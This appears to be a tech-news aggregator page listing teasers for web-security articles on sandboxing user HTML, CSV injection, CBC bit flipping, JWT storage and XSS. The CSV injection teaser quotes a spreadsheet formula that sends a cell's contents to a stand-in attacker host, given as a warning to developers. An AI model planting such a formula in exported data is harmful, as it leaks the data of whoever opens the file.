Safely hosting arbitrary user HTML: the cookieless-origin sandbox pattern
ShareMyPage lets people publish HTML, often generated by an LLM like Claude or ChatGPT, and share it behind per-page access control. So the core of th…
Latest News
⚑ Report a ProblemTech news from the best sources
All topics
AI
Gear
News
Tech
agents
ai
api
architecture
automation
beginners
career
database
devchallenge
devops
discuss
javascript
llm
machinelearning
mcp
opensource
performance
productivity
programming
python
react
security
showdev
tutorial
typescript
webdev
CSV injection: the export button that runs code on someone else's machine
A customer fills in their name. They type =HYPERLINK("http://evil.example/?leak="&A2,"click") . Your validation passes. It's just text, after all.…
We Scanned 10 Shopify Agency Websites. Here Is What We Found.
Last night I ran external security scans on the public websites of 10 leading Shopify and Shopify Plus agencies — the same scan any browser or attacke…
The Pentester’s Guide to Finding CBC Bit Flipping Vulnerabilities
If you spend enough time poking at web applications, you’ll eventually run into a target that handles session management poorly. You’ll intercept a re…
HTTP vs HTTPS — What Actually Happens When You Visit a Website
By Sailee Shingare | M.S in Computer Science, Northern Illinois University Every time you visit a website, your browser and the server have a conversa…
Sqreen: Securing Web Apps via Model Artifact Auditing
Sqreen (YC W18): Securing Web Apps by Auditing Model Artifacts, Not Just Code Sqreen positions itself as a defense layer for modern web applications, …
Stop Storing JWTs in localStorage: A Security Guide for Web Developers
When I first learned about JSON Web Tokens (JWTs), I thought I had authentication figured out. The tutorial showed me this simple line: localStorage .…
IIS Log Analyzer: Transforming IIS Logs into Operational and Security Intelligence
Transforming IIS Logs into Operational and Security Intelligence IIS Log Analyzer is a Windows desktop tool designed for IIS administrators, DevOps te…
XSS Explained: How Attackers Execute JavaScript Inside Your Application
Hook What if an attacker could execute JavaScript inside your users’ browsers — using nothing more than a comment box? That’s exactly what Cross-Site …